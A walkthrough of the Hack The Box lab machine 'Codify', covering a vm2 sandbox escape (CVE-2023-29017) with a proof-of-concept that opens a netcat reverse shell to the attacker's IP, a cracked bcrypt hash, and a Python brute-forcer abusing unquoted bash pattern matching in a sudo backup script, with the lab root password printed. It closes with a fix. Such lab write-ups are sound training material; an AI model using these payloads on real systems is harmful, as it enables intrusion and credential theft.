Hack the Box - Codify Walkthrough
In this walkthrough, we tackle "Codify" a fun box on Hack The Box (HTB) that really tests your privilege escalation skills! HTB is an online platform providing challenges for security enthusiasts to hone their hacking skills in a safe environment.
Tools | Techniques |
---|---|
Nmap | Version Enumeration |
Netcat | CVE's |
Hashcat | Hash Cracking |
Sudo | Sudo Abuse |
Insecure Coding Abuse |
Foothold
Nmap
As always, I start with a quick all ports Nmap scan, this is to quickly identify open ports for use later.
Nmap identifies 3 open ports on the box. Using these ports it's possible to conduct a deeper scan to enumerate further details about services and versions running on said ports.
nmap -sV -sC -A -Pn -p 22,80,3000 --min-rate 1000 -oA SVC_Check 10.10.11.239
The Nmap scan identifies a web server on both port 80 and 3000 and identifies that port 3000 is running node.js.
Web Enumeration
Navigating to the web sever on port 3000 reveals a code editor, further down the page there is reference to the code editor running in a vm2 sandbox and had a hyperlink associated to it.
The vm2 hyperlink points to GitHub, which wouldn't be an issue if it pointed to the top level of the GitHub repository, but this link points to the particular version being used.
With a version number known it's possible to check for known vulnerabilities. In the case of vm2 3.9.16 there is sandbox break out (CVE-2023-29017) and a publicly available.
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244gist.github.com
CVE-2023-29017
Navigating to the /editor page there is the code execution function referenced on the home page.
Armed with the PoC I triggered a reverse shell to a netcat listener.
const { VM } = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.103 9001 >/tmp/f');
}
`
console.log(vm.run(code));
As soon as I executed the payload I got a call back to my listener as the svc user. We have shell access!
Lateral Movement
File System Enumeration
Before running any automated scripts like LinPEAs I like to manually enumerate some key areas of a machine, in particular any web directories in /var/www and any home directories. Using the below command, I can enumerate all folders and files and output the result in a directory tree structure without needed the tree binary installed on the box.
find . -print | sed -e 's;[^/]*/;|;g;s;|; |;g'
There was nothing the in /home directories of interest, but in the /var/www/contact directory there was a file called tickets.db. Within this file was a password hash for the Joshua user.
Hash Cracking
Checking the Hashcat examples page shows this to be a Bcrypt hash.
With the password for joshua known it was then possible to SSH to the box, granting persistence and a more stable shell.
Privilege Escalation
Sudo Privileges
Checking the sudo privileges for Joshua shows what appears to be a custom bash script to perform backups.
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
exit
In a nutshell this script is reading credentials for the DB user "root" from /root/.creds and then prompting for a password. If the password entered matches the password in /root/.creds then script is executing.
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
Script Abuse
Amongst other issues, the largest vulnerability in this script is how it handles the match function. Where a double bracket [[$variable1 == $variable2 ]]
is used bash will allow pattern matching.
Secondly, the variables are not enclosed in quotation marks, which would force a literal match. What this means in practice is that a wildcard character can be introduced to the end of a password to force the if statement to evaluate as TRUE. Here is the particular part of the script with a * character used to demonstrate.
In the above example, only part of the password is provided "Care*", yet the program matches the if
condition and returns password confirmed.
Brute Forcing Password
Since it's possible to force the script to reveal information about the password matching in the above fashion, it's possible to enumerate the entire password by looping through the entire ASCII table and checking for the "Password Confirmed!" response, then moving onto the next character in the password.
A simple python script can be used to iterate over the password, evaluate the response from the script then continue iterating over the next character.
import subprocess
import string
import sys
import time
def check_password(guess):
try:
process = subprocess.Popen(['sudo', '-S', '/opt/scripts/mysql-backup.sh'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
stdout, stderr = process.communicate(input=guess)
process.wait()
except subprocess.SubprocessError as e:
print(f"An error occurred: {e}")
return False
return "Password confirmed!" in stdout
characters = string.ascii_letters + string.digits
password_guess = ""
max_password_length = 25
for _ in range(max_password_length):
found = False
for char in characters:
# Append the current character and a wildcard to the guess
temp_guess = password_guess + char + "*\n" # Adding newline to simulate pressing Enter
# Print the current password guess, overwriting the same line
print(f"\rCurrent guess: {password_guess + char}", end='', flush=True)
time.sleep(0.1) # Added sleep to slow down the output for demonstration purposes
if check_password(temp_guess):
# If the guess is correct, update the password_guess and move to the next character
password_guess += char
print(f"\rCurrent guess: {password_guess} ", end='', flush=True) # Ensure the line is updated with the latest guess
found = True
break
if not found:
# If no character was found, assume the end of the password has been reached
print(f"\nPassword found: {password_guess}")
break
Using this script the password was brute forced and I could simply switch to the root user and finish the box. Password: kljh12k3jhaskjh12kjh3
Post Root
Bash Script
Coming back to the Bash script, there is a simple solution to stop an attacker being able to abuse the string match function and that is enclosing both strings match variables in quote marks. This is because doing do will make bash evaluate the stings used in the match operation as absolutes.